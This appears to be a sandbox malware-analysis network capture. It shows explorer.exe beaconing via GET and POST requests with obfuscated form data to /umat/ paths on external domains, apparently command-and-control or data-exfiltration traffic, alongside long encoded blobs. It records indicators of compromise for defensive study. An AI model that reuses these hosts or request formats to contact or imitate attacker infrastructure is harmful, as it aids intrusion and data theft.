NZ841meuP7v7j2rx8D0xqa(APD8ZNya9W68KaSMxv7ve9LixVzPf7zSLBWQAu0p3Iy7vDXWeDui1y7Hxxhel1d~MlCUkxZxnbY~UDf(t2xdAtGLSEsjIySKUSSB58fKRR76KFrA9yppXt2C9MhkTywCUUuVz2cbag_XRZB8PIMvY03U-m12CgILdZ8DkrBWXHchB~oEWAhsKQT8iFJoyN0u0V4alIBMy4vOzYY99V_gL68fDtBBgC3tROrazzVX8zfIMEMWlXysLYawUc22VnjqrjLjtKLRNTqVeWTuO2U3-h9Moe8zzUfM3b3NUddpJjPZlmCmLLaPU4Xjd8CWkz_8_4NU9jB1T19b5zu0Xsi~_eF4cJeH7i2WHO4tRbzXxxkzny-jhy6xORwEADnJ9MIMEl6NPnN(SViysr527KuPoMtere22tWAkO(6hBUq69fMoZMSyqfai9jPH869NK7iHGvA326uWRLIo0DLAlgjZjJp88EU2V(Xj8ALd3SLlsGex4cUaP08YxXw398ntakmtSGLYSQhUfs2oh5cVKhEQF5vZfiK386ZBjIE6PaAgpgZl_vH(Kr99AlHD7KRjnpwydp6~1RwncmzIVo5DGyhpd4TKosYFxn0bTxWGTUl4B2_j6ihP079bgmrwzBq8c25AC(QIQFvynIpyzELSSNq(H2MfLnA~OtL3ZR38yGyOCirqVdjiXPMB3QG395ipi02pRHCcSfpUVZBHcUJOt9127tk(BduIpobFEYtYRbscBSY9y5sVQrY8xDpD9UNJ-ncuHEN5RRAXQPwpH5tpCxZPzAnQszVSZJaFXkVx8SVdDu7m8hF6LU5pH8ScxspGey8wYYqf7UWu9XOWQC2CElnbR89JpMtZ5oqbPBK1MuSSzX2RTQu3enjO9S81cR1K8RGPeQvH4mJVcA0tUDaePBSFp9IrS36pbWdQssCV6U9qpiuq_S12v4e~PlPEWP3HKrs7qMGD9UOwyFEv7kiW494T6UvM-mNnrwEv73zPvoxPV03R_WLLBiGgmbsN57FJeNRvBUwDq0f7Zwa2zJGZ3n3O7Mvrh5Xg6wpjbrdor55aoAXND0LfzUa8S8yx_Bizh4T(xav9WnS~uXxtyBDMena0LKS5LYHw3uLO0esqxVtT7jjhmC675s8NLXq73cYzmR6QVBppbQB817It6espEJRG9ysPUC0feF5WQqBK8bkqBFzw52Y~dH0x7HmBjeMIVoI0LgTQGdh51mv(C5sNpYZqjFjTYyZiqit8X3YguZc492blRiAkgzxCFJVM5wxBcSTIm(AaB36t8H7aI3Kk6D0lkgHJcI9uBaiI_bpxW19iXjSzpCyJymIQ_q0kotipFwVes0pXLEx~23n3-7mp74ZJt1Z1qRGGa~fwplwTvcxMe8R8DDPravSyXI1hobl2TbQoU74maY-H55HFsMHJRKdiePWu8MU2DdUBXgANSdvfIVXPCPh5_TUkXkt3pQmxrXWmzAUSzVEfK8VaCuBZxkLZwBK(WljbT7shDuxS7AzlkU7K4axJeCuAd(ygs0KTyiD6amj2y7iIdclIpVK3W5BZFX2wIZqkOCWA4Q6qGWVbaszauhi~_Oiv10RQSZNj_kt7-zD6OVnlWKPYgYhTPT3zJoazaynAI8guM~aEpU9(nknFe(m3N4wTyPXOmFCsszRgCaO0CqwS5tazBnFJ04HMHjaRBUrVYXL6Xc3uiWuH9aZkeXejlixiyvfC7py3G02fdy3aXuQqeUyznJfxHC0tNXRHfn3Vqqf572enxeCVW(WnMGV4H1J0q20MbrgG_IpjgMIDG~y4Y54CtIiBpXOFJg8pk48BRYtzk0EFUM8~KdU2VtA5OdONHCTBrq-gXOVCIsoNbixyYI5FAwYazlCnP1wIGW-e5kXWE~DaEt3oNRJjnop4GlTN45CI1LYOzsF5VXXwAUAjG~LfdR7hPy17hpnmL9lR6WKLUAzXQ~T(NubNegk9srRhjcPVS4JTOe-HPpMA0pABKzkK-Y6vylX(GFvQWpJoSUmdMupC313vzt4(hHXuC1V5ruZPjQltdavrHhFMc3fR8Zn4M8gWiZ3po2SKlwMZTKe9eMuHGyrwkMhIvoRr5Ytz5mgXxxuLwTmPm~G6FhLzlHmOqF5YdNNi_Ld2gIseoHL1ZdQxvYNIc~hD7VBvzNpKRBibEbau3A4vLbouWpvCN9WDuSc4IL9yTUyQLzuxcZtLNmUZnypjr3BFIoPn2Iqn4Eefk8ywxwDysc90PkYOG7VyLOTOkgZi5P8pjC8AlhfZqrwVSd_suKgY0oQJ6XDbAfDJqHcoKAFBGQyq
Jun 3, 2022 08:17:55.403441906 CEST	11070	OUT	Data Raw: 46 47 31 6c 42 54 6c 30 65 4a 41 46 52 66 79 6c 68 63 34 68 6e 63 31 5a 58 7a 4c 64 43 49 33 38 52 43 57 6b 32 6d 46 71 61 65 32 4f 55 64 56 74 7a 54 55 53 44 36 54 39 52 54 78 66 70 38 44 47 79 69 6f 4a 34 78 6a 74 72 38 32 5a 4c 6e 28 51 4e 54 Data Ascii: FG1lBTl0eJAFRfylhc4hnc1ZXzLdCI38RCWk2mFqae2OUdVtzTUSD6T9RTxfp8DGyioJ4xjtr82ZLn(QNTVoMtCv(nibuaCODxNzGVOvDh8Ckkao4LYuPFCUAcmX0CRj74cWDiaysbYiW6~oxJppBrYmJDIsNrJZHiltm7(p0liLij5ZPdXMgFSazyullmwoubxYYsbfwTZcmeNSp7q8Ad2o~9L5H5A02JS1aKkqY-MBJ13H~KI
Jun 3, 2022 08:17:55.403500080 CEST	11078	OUT	Data Raw: 4f 56 30 65 57 7a 63 4e 68 63 37 6b 4f 35 72 31 36 5a 6a 35 79 50 32 46 55 74 43 50 6b 45 77 34 28 75 47 74 4d 67 49 62 54 71 54 75 79 32 55 39 53 4e 51 5f 62 77 57 49 70 4b 70 62 7a 2d 35 37 54 50 6d 47 5a 76 43 6f 6b 4b 46 63 4b 57 65 4a 34 4f Data Ascii: OV0eWzcNhc7kO5r16Zj5yP2FUtCPkEw4(uGtMgIbTqTuy2U9SNQ_bwWIpKpbz-57TPmGZvCokKFcKWeJ4OBE6RhsYfTckX8mlRwSj-Te3mlCyyPFij(KDMyIwU(PiBeyPmzfLMVWO3q3aivfUDe11kcBk5k9nqIM(cbOT6KvqLPYc5Q9vUwvuVm00cKfNhmNKiiRGbvsf1Zmc7sEXGZx6jOFmN9fnYm9SNZI7GwGx4J1iQMh1cy
Jun 3, 2022 08:17:55.581613064 CEST	11085	OUT	Data Raw: 64 6b 67 45 35 77 39 31 31 79 73 31 4b 56 63 35 68 64 6c 76 33 74 77 52 7a 72 74 51 4f 31 62 7a 43 6f 44 41 52 4b 71 44 35 76 4b 45 4e 74 4c 56 48 30 42 54 53 37 41 50 33 37 66 74 33 56 62 65 78 6d 6d 53 59 6f 78 56 66 63 50 2d 36 54 42 55 28 74 Data Ascii: dkgE5w911ys1KVc5hdlv3twRzrtQO1bzCoDARKqD5vKENtLVH0BTS7AP37ft3VbexmmSYoxVfcP-6TBU(t7GpIgkYNcVHB4RP4R6mjNi6d6wMbjzkfvbqBOXREx9rV8n83XHvNy20PGRXOC8Uje1RFhgY0UfkHlJP4vj9qAAhr1bU2UZ2xrgTkpLGchQBZFw~L7pmczQXBE3snIai8G4HnvBmMSAU5XxUPm_(hkw9J0TGBPrE6X
Jun 3, 2022 08:17:55.581774950 CEST	11087	OUT	Data Raw: 65 4d 63 71 6b 63 47 37 78 48 70 67 4d 37 6c 75 41 4d 63 61 47 4e 28 71 58 57 51 59 51 47 31 32 44 71 7a 47 6b 4c 6f 31 68 75 6f 54 6e 52 4b 78 28 72 4d 65 76 51 35 31 4c 43 52 5f 75 30 68 77 65 76 6d 57 66 76 4d 41 66 63 75 61 55 30 6b 76 63 33 Data Ascii: eMcqkcG7xHpgM7luAMcaGN(qXWQYQG12DqzGkLo1huoTnRKx(rMevQ51LCR_u0hwevmWfvMAfcuaU0kvc3QrhKKc(mYfZ_zl5UC3bznBbNvPdgMgtoTh1w2k7v8kLrULFGtCmtRUZtzbydxVY6xzisZ8LsMvBU0kxrEeLNy9TAAGlscrOBb4UlZvtxTgAZHCDwpz0ALBGA7ODWnWdECUWz6-lhydMWzEoi0fLzXp6zCmXrSiI2K

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49837	107.187.232.173	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 3, 2022 08:17:55.392704964 CEST	11057	OUT	GET /umat/?bT7tPLpx=FnqEmG0l+4J7qDB1yrHJ8vmLGr/EIrLpN16t5uGcZtfyOUhwcz0qzKS8JKDk7Sjhqw7U&Lls=Mzrp HTTP/1.1 Host: www.sarrafguler.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 3, 2022 08:17:55.561633110 CEST	11079	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 03 Jun 2022 06:17:55 GMT Content-Type: text/html Content-Length: 785 Connection: close Data Raw: 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e c3 bc c9 bd ce c4 c4 b2 ca b5 d2 b5 cd b6 d7 ca d3 d0 cf de b9 ab cb be 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 20 2f 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 20 20 20 20 76 61 72 20 62 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0d 0a 20 20 20 20 76 61 72 20 63 75 72 50 72 6f 74 6f 63 6f 6c 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2e 73 70 6c 69 74 28 27 3a 27 29 5b 30 5d 3b 0d 0a 20 20 20 20 69 66 20 28 63 75 72 50 72 6f 74 6f 63 6f 6c 20 3d 3d 3d 20 27 68 74 74 70 73 27 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 62 70 2e 73 72 63 20 3d 20 27 68 74 74 70 73 3a 2f 2f 7a 7a 2e 62 64 73 74 61 74 69 63 2e 63 6f 6d 2f 6c 69 6e 6b 73 75 62 6d 69 74 2f 70 75 73 68 2e 6a 73 27 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 62 70 2e 73 72 63 20 3d 20 27 68 74 74 70 3a 2f 2f 70 75 73 68 2e 7a 68 61 6e 7a 68 61 6e 67 2e 62 61 69 64 75 2e 63 6f 6d 2f 70 75 73 68 2e 6a 73 27 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 76 61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 0d 0a 20 20 20 20 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 62 70 2c 20 73 29 3b 0d 0a 7d 29 28 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 74 6a 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 63 6f 6d 6d 6f 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html xmlns="http://www.w3.org/1999/xhtml"><head><title></title><meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><script>(function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s);})();</script></head><script language="javascript" type="text/javascript" src="/tj.js"></script><script language="javascript" type="text/javascript" src="/common.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49888	23.227.38.74	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 3, 2022 08:19:18.163798094 CEST	11193	OUT	POST /umat/ HTTP/1.1 Host: www.theflysnare.com Connection: close Content-Length: 414 Cache-Control: no-cache Origin: http://www.theflysnare.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.theflysnare.com/umat/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 62 54 37 74 50 4c 70 78 3d 46 41 78 58 36 54 78 6d 54 37 69 55 6d 46 52 61 45 77 6e 69 34 53 54 66 38 57 51 76 37 6e 37 77 6d 75 7a 4b 67 49 5a 71 72 4b 52 74 46 69 43 32 43 58 47 30 73 6b 72 48 45 4a 66 57 34 59 45 54 4b 56 36 65 59 7a 38 70 70 55 46 56 74 2d 7a 34 69 4d 37 50 4d 63 63 66 62 67 76 34 6b 56 59 41 62 32 4b 4f 64 42 6e 5a 5a 33 38 65 4d 34 38 4c 28 57 78 66 62 70 70 30 41 63 36 55 63 59 28 54 47 78 6c 4f 7a 51 42 73 66 51 74 74 51 33 36 46 55 54 61 6b 73 61 53 59 79 72 7e 6f 73 76 45 64 51 70 76 4f 65 45 64 6e 36 30 32 59 6a 45 78 7a 57 72 43 57 47 5a 41 62 35 76 32 62 51 36 6f 71 38 6c 6f 55 58 58 72 74 35 31 6d 4b 71 6f 62 41 67 66 4c 48 61 30 45 5a 5a 4c 66 5a 54 63 4c 62 42 50 68 6d 56 64 4e 61 39 58 30 48 4a 76 35 73 66 74 69 34 64 70 71 4a 6c 39 53 49 50 59 58 41 51 69 71 35 50 30 65 56 4b 6b 61 49 39 66 41 6f 7a 48 52 61 6e 55 4d 65 35 56 6a 63 59 4a 48 70 42 35 58 79 36 4c 55 6b 5a 77 63 63 32 69 72 78 42 4d 4d 6d 4a 50 48 32 66 4f 77 57 48 55 44 45 73 66 47 6e 57 6f 52 32 6d 31 77 7a 58 78 48 36 44 43 4a 4b 70 4d 66 58 61 75 58 41 74 55 79 4e 54 35 52 52 57 5f 56 30 51 41 30 31 6e 73 68 71 43 70 68 54 50 5f 63 62 28 32 59 67 71 62 69 43 66 79 61 4c 49 65 37 46 38 57 53 37 52 50 45 6a 7a 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: bT7tPLpx=FAxX6TxmT7iUmFRaEwni4STf8WQv7n7wmuzKgIZqrKRtFiC2CXG0skrHEJfW4YETKV6eYz8ppUFVt-z4iM7PMccfbgv4kVYAb2KOdBnZZ38eM48L(Wxfbpp0Ac6UcY(TGxlOzQBsfQttQ36FUTaksaSYyr~osvEdQpvOeEdn602YjExzWrCWGZAb5v2bQ6oq8loUXXrt51mKqobAgfLHa0EZZLfZTcLbBPhmVdNa9X0HJv5sfti4dpqJl9SIPYXAQiq5P0eVKkaI9fAozHRanUMe5VjcYJHpB5Xy6LUkZwcc2irxBMMmJPH2fOwWHUDEsfGnWoR2m1wzXxH6DCJKpMfXauXAtUyNT5RRW_V0QA01nshqCphTP_cb(2YgqbiCfyaLIe7F8WS7RPEjzw).

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49889	23.227.38.74	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 3, 2022 08:19:18.184734106 CEST	11206	OUT	POST /umat/ HTTP/1.1 Host: www.theflysnare.com Connection: close Content-Length: 36482 Cache-Control: no-cache Origin: http://www.theflysnare.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.theflysnare.com/umat/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 62 54 37 74 50 4c 70 78 3d 46 41 78 58 36 52 6c 77 4f 61 28 51 6f 31 64 44 48 44 57 37 7a 43 44 64 7e 6d 55 6b 6e 32 47 75 78 4c 66 5f 28 64 6b 61 36 36 6f 71 54 47 6e 35 56 41 6a 70 73 6b 61 70 49 61 36 65 31 59 34 55 4b 56 6a 50 59 77 51 70 37 55 39 46 74 5a 57 6c 73 49 62 41 4d 38 63 7a 55 41 76 6c 67 51 35 51 62 32 50 70 64 42 76 4a 59 47 77 65 4e 62 45 4c 6f 6e 78 45 57 70 70 79 65 73 71 79 53 34 7a 4f 47 78 4e 57 7a 52 39 73 4b 77 78 74 52 57 4c 33 64 77 79 72 6c 71 53 5a 33 72 7e 36 6d 50 41 4a 51 70 37 67 65 46 68 6e 36 47 53 59 6c 58 35 7a 51 59 61 58 4e 4a 41 65 39 76 32 4b 48 4b 73 47 38 6c 45 54 58 56 48 62 34 48 36 4b 72 59 62 44 33 35 75 79 65 6a 52 52 62 4c 44 31 54 63 50 69 41 65 4d 7a 56 59 39 36 7e 6d 46 5f 56 64 52 47 66 6f 53 53 62 4a 71 4e 75 64 53 44 50 59 58 30 51 69 71 48 50 31 4f 56 4b 6c 53 49 38 38 34 6f 69 33 52 5a 73 45 4d 51 69 6c 69 65 54 70 4c 4c 42 35 28 49 36 4b 4d 53 59 44 34 63 77 79 62 78 48 72 34 6c 64 5f 48 4b 62 4f 78 4b 44 55 43 54 73 66 47 4a 57 72 4a 59 6d 6d 55 7a 52 6b 7a 36 42 58 56 4b 36 4d 66 58 56 4f 58 47 6e 30 7e 64 54 35 5a 64 57 39 64 4f 52 33 6b 31 6e 5a 74 71 47 34 68 54 50 50 63 62 30 57 5a 77 69 36 54 4c 55 69 37 58 47 2d 65 6b 32 52 37 77 64 76 64 53 76 55 56 50 4a 50 7a 69 76 42 28 34 41 6d 50 6c 69 4a 75 74 33 78 59 2d 31 76 33 52 6d 4a 59 79 69 36 49 4a 67 33 62 61 66 74 51 78 6e 4c 46 53 47 41 5a 48 39 42 61 6d 7e 6d 6e 36 48 52 4c 51 72 33 68 4f 39 75 71 4f 44 55 41 42 7a 58 34 64 33 39 76 4f 76 5f 78 69 6d 4f 61 79 6c 55 4d 30 73 34 4a 5f 36 67 7a 57 50 4b 70 55 62 31 71 64 31 30 7e 50 74 46 41 79 4d 79 71 61 4a 4b 74 79 30 4e 34 77 32 35 72 39 70 59 64 54 71 31 4c 49 79 75 7a 42 4f 31 77 56 58 4b 58 79 41 64 32 30 55 4f 39 66 59 39 6a 53 50 43 4d 33 44 32 33 37 61 30 6b 5a 6b 39 38 44 4b 76 67 4a 54 5a 65 43 68 6b 44 76 4e 61 44 39 34 46 7a 36 39 61 67 69 53 76 56 4c 34 36 7e 77 4f 44 6d 68 73 66 43 53 7a 66 73 79 71 49 45 37 5a 4c 31 6d 28 49 73 56 48 2d 6d 79 42 46 31 4f 35 43 6a 63 71 74 53 65 54 42 68 4d 7e 49 28 42 6b 47 39 64 6b 64 59 33 51 31 32 36 34 45 6b 57 4f 50 63 48 6b 70 70 54 65 6c 50 35 49 75 28 7a 4e 34 69 4a 54 43 52 4b 34 58 46 4c 66 68 45 64 4e 4a 4c 4c 6c 72 49 4f 31 54 4a 76 39 75 65 7a 56 68 70 46 44 49 48 6f 72 58 70 43 7a 57 28 38 4f 5a 4c 61 36 34 53 42 54 6c 50 5f 61 49 30 66 6f 63 75 41 53 51 6f 7a 6f 42 6b 6b 4c 53 7e 58 78 39 54 58 4d 37 51 4b 77 32 69 4c 37 38 72 59 78 39 45 32 77 73 6d 32 56 47 30 49 32 55 38 4c 67 4c 61 58 6b 62 30 5f 52 52 28 33 68 73 61 4f 4f 52 35 69 49 55 57 41 75 75 54 44 6e 61 7e 70 34 6b 78 6a 43 52 47 62 6b 42 33 48 41 45 41 7a 42 35 58 4a 28 4e 59 55 50 6a 4a 63 54 74 33 37 68 6f 7a 74 4a 46 6f 70 55 49 57 4b 67 52 37 63 72 42 75 62 53 36 67 46 76 49 55 48 63 71 56 7a 31 55 43 76 52 37 72 66 72 65 6e 33 52 59 4a 68 4f 47 36 74 51 75 41 6a 6f 72 77 30 30 71 7a 71 6f 6a 6a 6e 75 53 36 4d 4c 49 36 62 45 76 72 79 4c 32 36 66 36 67 6f 63 69 45 49 30 74 5f 63 65 4b 35 7a 32 6e 43 63 61 70 37 78 34 4f 4e 59 42 6a 5a 77 68 50 6a 45 61 6f 43 73 42 62 6f 6b 32 34 44 6e 46 4e 55 73 65 65 4d 4a 53 79 56 67 30 32 4a 4d 36 47 69 56 67 56 67 48 49 68 7a 67 64 31 72 4e 34 74 4e 73 51 51 5f 54 6b 36 41 52 68 55 52 6a 47 30 6a 44 32 6c 77 6e 51 54 4e 75 55 4d 72 4a 45 69 52 58 4f 33 57 51 50 32 57 28 2d 63 68 4d 53 61 32 46 56 74 45 51 45 7e 61 71 75 4a 6a 31 59 47 34 76 4d 76 6f 79 6c 42 41 73 73 6f 73 57 33 45 4e 44 78 4b 55 45 31 49 73 33 69 58 76 33 74 74 48 76 75 4e 6c 62 42 4f 65 73 53 44 49 41 75 78 4b 38 4a 69 39 65 4d 61 37 68 45 52 72 43 66 46 6d 44 63 36 79 62 66 42 70 41 76 63 6d 54 46 56 32 28 44 6c 33 32 45 73 4b 35 34 6e 6b 47 56 6c 4a 59 6c 54 49 73 51 35 46 33 61 42 66 70 75 48 50 69 6e 64 50 75 54 58 71 54 42 76 36 28 54 66 73 54 51 78 4f 46 59 44 7a 46 4b 73 7a 7e 33 6f 41 6c 57 78 55 63 34 78 4d 39 6e 70 41 42 30 56 64 28 77 68 32 4c 59 36 6c 56 48 70 70 78 63 47 35 59 56 36 53 28 7a 7a 6a 49 61 56 34 78 31 6d 42 4b 30 66 52 70 50 61 45 6d 4a 4c 67 4d 52 4b 42 48 48 6c 6e 6b 4e 46 5f 48 4a 59 46 51 41 56 77 77 54 44 6d 69 68 37 64 43 43 7e 66 66 71 65 4a 78 7a 75 2d 6e 43 57 6d 4d 72 42 54 Data Ascii: bT7tPLpx=FAxX6RlwOa(Qo1dDHDW7zCDd~mUkn2GuxLf_(dka66oqTGn5VAjpskapIa6e1Y4UKVjPYwQp7U9FtZWlsIbAM8czUAvlgQ5Qb2PpdBvJYGweNbELonxEWppyesqyS4zOGxNWzR9sKwxtRWL3dwyrlqSZ3r~6mPAJQp7geFhn6GSYlX5zQYaXNJAe9v2KHKsG8lETXVHb4H6KrYbD35uyejRRbLD1TcPiAeMzVY96~mF_VdRGfoSSbJqNudSDPYX0QiqHP1OVKlSI884oi3RZsEMQilieTpLLB5(I6KMSYD4cwybxHr4ld_HKbOxKDUCTsfGJWrJYmmUzRkz6BXVK6MfXVOXGn0~dT5ZdW9dOR3k1nZtqG4hTPPcb0WZwi6TLUi7XG-ek2R7wdvdSvUVPJPzivB(4AmPliJut3xY-1v3RmJYyi6IJg3baftQxnLFSGAZH9Bam~mn6HRLQr3hO9uqODUABzX4d39vOv_ximOaylUM0s4J_6gzWPKpUb1qd10~PtFAyMyqaJKty0N4w25r9pYdTq1LIyuzBO1wVXKXyAd20UO9fY9jSPCM3D237a0kZk98DKvgJTZeChkDvNaD94Fz69agiSvVL46~wODmhsfCSzfsyqIE7ZL1m(IsVH-myBF1O5CjcqtSeTBhM~I(BkG9dkdY3Q1264EkWOPcHkppTelP5Iu(zN4iJTCRK4XFLfhEdNJLLlrIO1TJv9uezVhpFDIHorXpCzW(8OZLa64SBTlP_aI0focuASQozoBkkLS~Xx9TXM7QKw2iL78rYx9E2wsm2VG0I2U8LgLaXkb0_RR(3hsaOOR5iIUWAuuTDna~p4kxjCRGbkB3HAEAzB5XJ(NYUPjJcTt37hoztJFopUIWKgR7crBubS6gFvIUHcqVz1UCvR7rfren3RYJhOG6tQuAjorw00qzqojjnuS6MLI6bEvryL26f6gociEI0t_ceK5z2nCcap7x4ONYBjZwhPjEaoCsBbok24DnFNUseeMJSyVg02JM6GiVgVgHIhzgd1rN4tNsQQ_Tk6ARhURjG0jD2lwnQTNuUMrJEiRXO3WQP2W(-chMSa2FVtEQE~aquJj1YG4vMvoylBAssosW3ENDxKUE1Is3iXv3ttHvuNlbBOesSDIAuxK8Ji9eMa7hERrCfFmDc6ybfBpAvcmTFV2(Dl32EsK54nkGVlJYlTIsQ5F3aBfpuHPindPuTXqTBv6(TfsTQxOFYDzFKsz~3oAlWxUc4xM9npAB0Vd(wh2LY6lVHppxcG5YV6S(zzjIaV4x1mBK0fRpPaEmJLgMRKBHHlnkNF_HJYFQAVwwTDmih7dCC~ffqeJxzu-nCWmMrBTt54ssYIHE764IjRVpQrqzS6_FItJ~Q87JoRAQQbig0rXCqHo~ODdcMmkjXR6IfUx1My4v43_zIOCRZzYwB7OaSkUQPBPvZArmp9MJxGozQIgp8ZNktm1b30ZXFGi9wXpkyWK6ghLYS9tYmAwgPOsC88LBRKrjuyA~XVteqjykEgzcm2ydv1mrNhfbJ~jVJ7DZKHOhUEWrrSdnnzRoBWFdHBKzYGb3e10o6s4F5mK2LqrgsNG(lfy4CZS7c1cOCXzpPTf05WjKz(YcocATvy3mHeMInCeH44BIDZdLldzAgW2IRdZ~NxMBMBFeteTHeUmHl8npg1Bbgo8hOK0btoXfM6xF7mqQm(IIzjpunNDRjaFk9RiALvJ5GVrUsD2Z3cu09cDvOE6au4PeucTizVL72QP~wkoqdWzEGCjES8SQKqvDsXEZ4747zzFvpm_QaShFL49VO~CTMjeBijVU5A1guWPD7s4ecryi-6b0c140ALXfqBkXoxyye4hdKsTNywhBGOBKyqURYg-3mQgVZ1mPtj_BKE6~0BhnPQMASvpCsUowwASj0V0Z0hQrWlLA6wAUEUQ9f~0DsRUen6LhC31GrZ5pFsJSVkbX59XMJiSfgtbgDBOFNekAzw0pKtRTmveYmeRmtJxLUEKdbAs6x7wwGuB3zTInP9DhwHYndTOk2t5HdWwzmlFQfYsYpotLBA_cBevKeEERVtNYFtpmR6Av056EmJp~k0EYL7H2UKYENibbNq1Z6kBkYRK3Fzpm7AfGHWl74M3cPfnZUft0K5-eZJjB0F-jDHHRnJAH8fI0nwrfa4G8JiPo_X5SzMn~Ah0vnwKcWXALyt5pZrfd25gqrR3MIl8Z3MFXINMzleWgkHizWDfFAUOgxxE2rmPPys7Ke2n3ncwNLGhEAi43MCCGkXW(3MYlibkhy5OOBwVq4~jD7dQ0w7JeSMmF4G-Y_z66Sza4v~FAUVAd4ctiLs2dzgQrXnSRD9aF9~L5rn1(3sP96KQuhGB5_Pgw-zAB7MA1y86aGd4bao_DoWTp3B3DjaRCGllc4X4p9d9zBpLBpBe7oY8aoxGIMiu3DV2qMYvWktMYOSCzLZrJ3ZgZAhnQNgG5MW6ovUjzsUWbz6PY-TLUdo9qQyh9wpVHWjdat8Fuu68Htp6~aQ5oBJ_xXDLpsd2Th6H2rnFDg(4cdVEnBDxEqDB~G5458VGHC5XjKpBbESNHNGeaijJDMhB9ZeRfQeAfJx9nlOL7uhg3ZDlZCEHzQQXNfTzrgIDwEDr253RWPxQCgrexcYwRaIY8K33Oh(RAUFi2aMXgBvPxNtMzyeLQQ2cD8tyjnOsPm4UeG0og9Glu8gd2IB_062J~FL1qrzeMBLs35~-hS5B5q9Ms6Gy~hgsknTd6zsoT-HhXiKAzDbAF1Z72I5Th1XETMuJEmiecltbDazpmlYWwxyRVivO~VJ7hRi-MWcBEc3Ve5uoIuh6bKzM~WMcTLLWkU9t9pX9E_ykoPv4yrfRkivZwx5ox9Iz4YmCoKTp0Li_aJyzQEasJr4Rd92VZ_auojQb174MbGHCQQRsO6D_zRFf7wvbRv2E9crHT1dr7Y~4xQF3d5nfgdG0otq7Cxo5t6IurKQ-7zuoXdt6NaOq2FYIDM7fYIlNAsYZpCPyr_NjLV7Q2-wZ5ytn4Qtg0-2C~rtEPMx5cJgcL-vbGZxtFannQR7GrFzOO73bPo9jN6gUVtD7caacPn2UVFyqgIagnn9Y7b7Dsywj~aH5dzulp5rb94UgO2wCU0lO~9kQIzNVRxrDVmLMVviT1DtF~vJKlBaVg8M8hR(lvKtH6VtxtZvMyIzDfwx89LcY9jViIFiDj36sXFIeWhz2L9yJUmeMUEsLJzzWoZ7E6IBzgnrYYkhLEIQvS6JYbJHA9bvKoIsV2IzxPojAOjAamiNx8yF8Sq1KD0VMiu3V2yJ16HrTT7zFMVcOiDd61-SD~luzxsO56pc0E_YUeTCcUNvCcwVFboBZDxTEr0Qa7ZnjgpIanvZR5ADi4_AAZCIJCoIUhVXZGSK_qBBq1skSCmFkR0Cr2bEhG5V2itQKwIsLfE9n(Y2-mPgWpIgjQ_PlgkIFYS2bxniUXf~5PCil1tq6L2UNT-aOSWTsOHqeFEbvUqB8vUmNFemdFRHocpfZ0CaIroPU9v5Q2dOjQ2SLgzYWoOd6k7qPAzTyiPdlyOBLCnNdVp4uO5lfc4~iu18